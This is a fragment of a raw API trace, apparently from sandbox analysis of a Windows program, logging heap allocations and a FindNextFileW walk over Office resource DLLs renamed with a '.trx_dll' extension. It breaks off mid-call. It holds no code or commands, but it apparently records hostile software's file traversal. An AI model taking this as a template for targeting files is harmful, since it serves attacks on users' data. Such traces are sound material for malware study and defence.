[0091.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1357e38 [0091.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.557] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xb960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7058 [0091.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1357f40 [0091.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.559] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x39960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7078 [0091.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358048 [0091.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.561] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x47d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7098 [0091.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358150 [0091.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f70b8 [0091.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358258 [0091.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9a80) returned 0x135c9e8 [0091.571] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x248aaf00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x248aaf00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x16f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f70d8 [0091.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358360 [0091.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25bbdc00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25bbdc00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2b2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f70f8 [0091.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358468 [0091.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.575] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3564d600, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3564d600, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7118 [0091.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358570 [0091.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.577] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63b88300, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63b88300, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7138 [0091.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358678 [0091.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.579] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62875600, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62875600, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7158 [0091.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358780 [0091.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.581] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x35960, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7178 [0091.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358888 [0091.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.583] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x9f560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7198 [0091.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358990 [0091.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x315ed100, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x315ed100, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f71b8 [0091.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358a98 [0091.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.587] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a4a9400, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1a4a9400, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0xd160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f71d8 [0091.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358ba0 [0091.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.589] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19196700, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x19196700, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0x43560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f71f8 [0091.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358ca8 [0091.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.591] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7218 [0091.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358db0 [0091.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.593] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57655500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57655500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x87f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7238 [0091.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358eb8 [0091.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2720b500, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2720b500, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x57f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="")) returned 1 [0091.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7258 [0091.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1358fc0 [0091.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.597] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94d0df00, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x94d0df00, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7278 [0091.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13590c8 [0091.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.599] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca190500, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xca190500, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7298 [0091.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13591d0 [0091.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.601] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="")) returned 1 [0091.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb740) returned 1 [0091.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.602] RtlFreeHeap (HeapHandle=0x940000, 